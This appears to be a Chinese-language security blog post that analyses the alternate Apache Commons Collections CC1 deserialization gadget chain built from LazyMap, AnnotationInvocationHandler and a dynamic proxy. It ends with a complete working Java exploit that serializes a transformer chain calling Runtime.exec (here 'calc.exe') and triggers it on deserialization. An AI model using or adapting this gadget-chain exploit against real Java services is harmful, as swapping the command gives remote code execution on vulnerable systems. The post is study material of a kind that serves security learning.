续接上一次写的CC1分析,后继续学习其他CC链的利用方式,以及代码分析。

CC1

因为上次使用的CC1链利用的类是TransformedMap这次使用另一个Map

🌯CC链1的另一条利用链 - 图1

然后这次使用的是ysoserial项目中的payload

🌯CC链1的另一条利用链 - 图2

LazyMap.get()后面的过程,就是调用transform()方法的过程跟上一个文章分析是一样的,就不多写了,这里只分析前面的部分。

上面的同样调用了AnnotationinvocationHandler这个类,但是这里的链子当中,AnnotationinvocationHandler调用了两次,一次是调用了其中的readObject()方法,应该是用来反序列化调用。还有一个时invoke()方法调用LazyMap中的get()方法。

看一下在LazyMap中的这个get()方法

  1. public Object get(Object key) {
  2. // create value for key if key is not currently in the map
  3. if (map.containsKey(key) == false) {
  4. Object value = factory.transform(key);
  5. map.put(key, value);
  6. return value;
  7. }
  8. return map.get(key);
  9. }

进入就是if判断这个map集合中是否存在这个指定的key,如果存在就跳过if,直接return map.get(key)

如果没有key,那么会创建一个key,也就是只要执行到get()方法的时候,找不到这个key就可以成功进入执行transform()方法。现在就是找哪里调用了get()方法

根据payload中可以看到是在AnnotationinvocationHandler类中的invoke()方法

🌯CC链1的另一条利用链 - 图3

且这个memberValues是可控的,private final Map<String, Object> memberValues;

🌯CC链1的另一条利用链 - 图4

然后就是这里来调用get()方法,

现在继续向上,怎么才能调用invoke()方法,

看流程是Map(Proxy).entrySet,这里要去了解一下关于代理的知识点了。

Proxy是在使用时会自动调用InvocationHandlerinvoke()方法的。

  1. Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
关于<font style="color:rgb(77, 77, 77);">newProxyInstance()</font>的三个参数,第一个:使用LazyMap.class.getClassLoader()加载器去加载代理对象 第二个参数:动态代理类需要实现的接口 第三个参数:h动态代理方法在执行时,会调用h里面的<font style="color:rgb(77, 77, 77);">invoke</font>方法去执行

<font style="color:rgb(77, 77, 77);">invoke()</font>方法也调用了,因为还是要调用AnnotationInvocationHandler中的readObject(),所以还是跟上一条链子一样,创建一个对象,最终要序列化的就是它。

  1. annotationInvocationHandler.newInstance(Override.class, mapProxy);

这次对注解没有要求,只需要传一个就可以。因为这次的不需要进入if判断,调用不用进入判断。所以是无所谓了。

🌯CC链1的另一条利用链 - 图5

完整攻击代码

  1. package CC6;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.io.*;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.InvocationHandler;
  12. import java.lang.reflect.InvocationTargetException;
  13. import java.lang.reflect.Proxy;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class CC6 {
  17. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
  18. Transformer[] transformers = new Transformer[] {
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  21. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  22. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  23. };
  24. Transformer chainedTransformer = new ChainedTransformer(transformers);
  25. // chainedTransformer.transform(Runtime.class);
  26. HashMap map = new HashMap();
  27. Map lazyMap = LazyMap.decorate(map, chainedTransformer);
  28. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  29. Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
  30. annotationInvocationHandler.setAccessible(true);
  31. InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class, lazyMap);
  32. Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
  33. Object o = annotationInvocationHandler.newInstance(Override.class, mapProxy);
  34. serialize(o);
  35. unserialize("cc6.bin");
  36. }
  37. public static void serialize(Object obj) throws IOException {
  38. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
  39. oos.writeObject(obj);
  40. }
  41. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  42. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  43. Object obj = ois.readObject();
  44. return obj;
  45. }
  46. }